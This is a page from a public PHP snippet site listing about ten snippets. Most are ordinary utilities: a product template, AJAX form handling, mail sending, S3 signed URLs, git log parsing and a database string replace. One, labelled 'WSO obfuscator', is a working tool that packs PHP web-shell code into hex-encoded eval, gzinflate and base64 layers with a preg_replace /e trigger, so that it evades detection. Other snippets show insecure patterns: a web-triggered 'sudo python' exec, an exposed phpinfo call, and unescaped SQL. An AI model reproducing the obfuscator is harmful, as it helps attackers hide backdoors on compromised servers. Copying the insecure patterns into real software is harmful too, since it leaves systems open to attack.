working on it ...

Filters

Explore Public Snippets

Sort by

Found 134k snippets matching: php

    public by imagaza modified Nov 22, 2016  748570  2  3  0

    urunListShow.php

    <!-- product -->
    <div class="urunListShow">
    	<div class="product_icons">{%func-data_icon_bedava_kargo_pic%} {%func-data_icon_yeni_pic%} {%func-data_icon_indirimde_pic%} {%func-data_icon_hizlik_kargo_pic%} {%func-data_sorunuzFix%} {%func-data_piyasaFixNew%}</div>
    	<div class="image">{%func-data_icon_tukendi%}<a href="{%URUN_DETAY_LINK%}" title="{%DB_NAME%}"><img src="include/reimage.php?src=images/urunler/{%DB_RESIM%}&h=180&w=212&zc=2" alt="{%DB_NAME%}" /></a>
    	</div>
    	<div class="name"><a href="{%URUN_DETAY_LINK%}" title="{%DB_NAME%}">{%URUN_BASLIK_KISA_59%}</a>
    	</div>
    	<div class="discount sorfix{%DB_ID%}" id="pfix_{%DB_ID%}"> %{%PIYASA_INDIRIM_ORANI%} <span>indirim</span>
    	</div>
    	<div class="siteprice" id="fiyat{%DB_ID%}">{%URUN_FIYAT_KDV_DAHIL_YTL%} <i class="fa fa-try"></i>
    	</div>
    	<div class="otherprice" id="piyasafiyat{%DB_ID%}">{%URUN_PIYASAFIYAT_KDV_DAHIL_YTL%} <i class="fa fa-try"></i>
    	</div>
    </div>
    <!-- //product -->

    public by cynarasys modified Dec 20, 2014  488096  9  4  1

    AJAX Request

    AJAX Request: ajax.php
    <script type="text/javascript">
        $('form').submit(function () {
            $('form button').attr("disabled", "disabled");
            $('#loading').fadeIn();
            $('#msj').html('');
            $.post('<?php echo Flight::base_url('contacto'); ?>', $('form').serializeArray(), function (d) {
                $('#loading').fadeOut();
                $('form button').removeAttr('disabled');
                $('#msj').html(d.msj);
                $('html, body').animate({scrollTop: $("#msj").offset().top}, 500);
                if (d.status === true) {
                    $('form').slideUp();
                } else {
                    $('#captcha').attr('src','<?php echo Flight::base_url('captcha'); ?>?' + Math.random());
                }
            }, 'json');
            return false;
        });
    </script>
    
    

    public by Tech_JA modified Dec 17, 2014  344883  1  6  4

    Check if array is empty

    this snippet checks if the $arrayToTest is empty
    <?php
      $ArrayToTest = array('');
      $TestingArray = array_filter($ArrayToTest);
      if (!empty($TestingArray)) {
        echo "not empty";
      } else {
        echo "empty";
      }
    ?>            

    public by kvasilov48 modified Jan 4, 2016  369506  1  4  0

    WSO obfuscator

    WSO obfuscator: obfuscator.php
    <?php
    //Генерируем обфусцированный код для хитровыебанного вызова функций
    function gen_obfuscated_str($string, $letters, $varname){
        $length = strlen($string);
            for ($i=0; $i < $length; $i++){
                if (rand(0,1) == 0){
                    $pos = strpos($letters, $string[$i]);
                } else {
                    $pos = strrpos($letters, $string[$i]);
                }
                $result.= "\$".$varname."[".$pos."]";
                if($i != $length-1){
                    $result.=".";
                }
            }
        return $result;
    }
     
    //Обфускация \xNN
    function gen_obf_hex($array){
        $str_result="\"";
        foreach ($array as $h){
                $method = rand (0,5);
                switch($method){
                    case 0: $str_result.=$h; break;
                    case 1: $str_result.=strtolower($h); break;
                    case 2: 
                    case 3:    $hex = substr($h, 2,2);
                            $str_result.=chr(hexdec($hex));
                            break;
                    case 4:
                    case 5:    $hex = substr($h, 2,2);
                            $str_result.="\".chr(".hexdec($hex).").\"";
                            break;
            }
        }
        return $str_result."\"";
    }
     
    // Создание рандомных имен для переменных
    function gen_variable_name($letters){
        $result = substr(str_shuffle($letters),0,rand(1,7));
        return $result.rand(1,9999);
    }
     
    if ($_SERVER['REQUEST_METHOD']=='POST'){
        $content = $_POST['content']."<?php echo \"ONI NIHUYA NE ZDELAYUD!!!111";
        $content = base64_encode(gzdeflate($content,9));
        $symbols=str_shuffle("qwertyuiopasdfghjklzxcvbnm_1234567890*./)(;");
        $letters="QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
        
        //   eval(gzinflate(base64_decode(
        $hexeval = array ("\\x65","\\x76","\\x61","\\x6C","\\x28","\\x67","\\x7A","\\x69","\\x6E","\\x66","\\x6C","\\x61","\\x74","\\x65","\\x28","\\x62","\\x61","\\x73","\\x65","\\x36","\\x34","\\x5F","\\x64","\\x65","\\x63","\\x6F","\\x64","\\x65","\\x28",);
     
        //   )));
        $hexevalend = array("\\x29","\\x29","\\x29","\\x3B");
        
        //Создаем массив с рандомными переменными
        for($i=0;$i<5;$var_array[]=gen_variable_name($letters),$i++);
     
        //Получаем обфусцированные строки
        $start_eval = gen_obf_hex($hexeval);
        $end_eval = gen_obf_hex($hexevalend);
        $func = gen_obfuscated_str("preg_replace", $symbols,$var_array[0]);
        $func2 = gen_obfuscated_str("/.*/e", $symbols,$var_array[0]);
     
        //Формируем код обфусцированного скрипта
        $result_source = "<?рhp ";
        $result_source .= "\$".$var_array[0]." = \"".$symbols."\";";
        $result_source .= "\$".$var_array[1]." = ".$func.";";
        $result_source .= "\$".$var_array[2]." = ".$start_eval.";";
        $result_source .= "\$".$var_array[3]." = ".$end_eval.";";
        $result_source .= "\$".$var_array[4]." = \$".$var_array[2].".\"'".$content."'\".\$".$var_array[3].";";
        //Рандомнасть всюду!
        $result_source .= "\$".$var_array[1].""."(".$func2.", \$".$var_array[4]."  ,\"".rand(100,999)."\");";
    } else{
        $result_source='';
    }
    ?>
    <html>
    <head><title>WSO-Obfuscator</title></head>
    <style>
    body {
        background:url('http://krober.biz/wp-content/uploads/2014/11/bg2.png');
        font-family:Verdana, sans-serif;
    }
    textarea{
        font-family:"Lucida Console", sans-serif;
        font-size: 12px;
        border:4px solid #000;
        border-radius-left: 15px;
    }
    input{
        border:4px solid #000;
        font-family:"Lucida Console", sans-serif;
        font-size: 27px;
    }
    </style>
    <body>
    <form method="post"><center>
    <h2>...:::  E1337 PR1V8 0bf s0f7  :::...</h2>
    <textarea name="content" rows="30" cols="100">
    <?=$result_source;?>
    </textarea><br><br>
    <input type="submit" value=">>|>> 08FUSK8 <<|<<">
    </form>
    </body>
    </html>
    
    

    public by JackLatanis modified Nov 3, 2014  297248  4  6  0

    Sending email via AuthMailer service using PHP

    //this code sends emails via AuthMailer service (www.authmailer.com)
    
    <?
    
    //install the Mail, Net_Socket and Net_SMTP with PEAR
    require_once "Mail.php";
     
    //mail headers and body
    $from = "Me";
    $to = "You";
    $subject = "Subject";
    $body = "Lorem Ipsum...";
    
    //server configuration, edit with your account details 
    $host = "authmailer.com";
    $port = "587";
    $user = "user";
    $pass = "pass";
     
    $headers = array('From' => $from,
    	'To' => $to,
    	'Subject' => $subject);
    
    $smtp = Mail::factory('smtp',
    	array('host' => $host,
    	'auth' => true,
    	'username' => $user,
    	'password' => $pass));
    
    //sending email
    $mail = $smtp->send($to, $headers, $body);
     
    if (PEAR::isError($mail)) 
    {
      //something went wrong
    	echo($mail->getMessage());
    } 
    else 
    {
      //OK
    	echo("Message was sent!");
    }
    
    ?>

    public by stxh modified Jan 4, 2016  328286  4  4  1

    phpinfo

    php
    // Enter here the actual content of the snippet.            
    <?php phpinfo();?>

    public by mporru @ Amazon_AWS_PHP_API modified Jul 23, 2013  320239  0  5  0

    Amazon AWS - PHP: Generate signed expiring download URL

    This snippet demonstrates how to generate a download URL for a file stored in your S3 Bucket. This will work for all files, even ACL private files. Download URL will be active for the specified time. In order to use this service you must enable Amazon Simple Storage Service (Amazon S3) in your account.
    <?php
    require_once('sdk.class.php');
    $s3 = new AmazonS3();
    
    $fileName = 'test1.txt';
    $bucketName = 'myBucketName';
    
    $url = $s3->get_object_url($bucketName, $fileName, '1 hour');
    
    echo("Download url: <a href=\"$url\">$url</a>\n");
    ?>

    public by miquelbotanch modified Dec 20, 2014  263735  1  3  0

    Parse git log with PHP to an array

    Parse git log with PHP to an array: git_history.php
    <?php
    // Orginal Author: Ngo Minh Nam
    $dir = "/path/to/your/repo/";
    chdir($dir);
    $output = array();
    exec('git log -200 --pretty=format:%at%n%an%n%ae%n%h%n%s',$output);
    $history = array();
    $field = 0;
    foreach ($output as $line) {
    	if ($field == 0) {	$commit["date"] = $line;		}else  // unixtimestamp format
    	if ($field == 1) {	$commit["author"] = $line;		}else 
    	if ($field == 2) {	$commit["email"] = $line;		}else 
    	if ($field == 3) {	$commit["version"] = $line;		}else 
    	if ($field == 4) {	$commit["subject"] = $line;
    						$history[] = $commit;
    						unset($commit);
    						$field=-1;
    	}
    	$field++;
    }
    print "<pre>".print_r($history,true)."</pre>";
    
    

    public by emsity modified Jul 1, 2014  262634  2  6  0

    PHP script to call Python robot arm command

    HTML call PHP to execute python command
    <?php
    exec( " sudo python /home/pi/arm/baseanti.py &"  );
    
    /* Redirect browser */
    $gohere = "http://192.168.169.15/index3G.html";
    header("Location: $gohere");
    /* Make sure that code below does not get executed when we redirect. */
    exit;
    ?>
    

    public by pan modified Oct 14, 2014  245239  2  5  0

    Replace all occurrences of a string in DB

    Searches and replaces all of occurrences of a string in all tables and all fields of the given Database
    <?php
    /**
    * @kudos http://stackoverflow.com/a/10182498
    */
     
    header("Content-Type: text/plain");
    
    $host = "localhost";
    $username = "root";
    $password = "";
    $database = "mydatabase";
    $string_to_replace  = 'old.example.com';
    $new_string = 'new.example.com';
    
    // Connect to database server
    mysql_connect($host, $username, $password);
    
    // Select database
    mysql_select_db($database);
    
    // List all tables in database
    $sql = "SHOW TABLES FROM ".$database;
    $tables_result = mysql_query($sql);
    
    if (!$tables_result) {
        echo "Database error, could not list tables\nMySQL error: " . mysql_error();
        exit;
    }
    
    echo "In these fields '$string_to_replace' have been replaced with '$new_string'\n\n";
    while ($table = mysql_fetch_row($tables_result)) {
        echo "Table: {$table[0]}\n";
        $fields_result = mysql_query("SHOW COLUMNS FROM ".$table[0]);
        if (!$fields_result) {
            echo 'Could not run query: ' . mysql_error();
            exit;
        }
        if (mysql_num_rows($fields_result) > 0) {
            while ($field = mysql_fetch_assoc($fields_result)) {
                if (stripos($field['Type'], "VARCHAR") !== false || stripos($field['Type'], "TEXT") !== false) {
                    echo "  ".$field['Field']."\n";
                    $sql = "UPDATE ".$table[0]." SET ".$field['Field']." = replace(".$field['Field'].", '$string_to_replace', '$new_string')";
                    mysql_query($sql);
                }
            }
            echo "\n";
        }
    }
    
    mysql_free_result($tables_result);
    • Public Snippets
    • Channels Snippets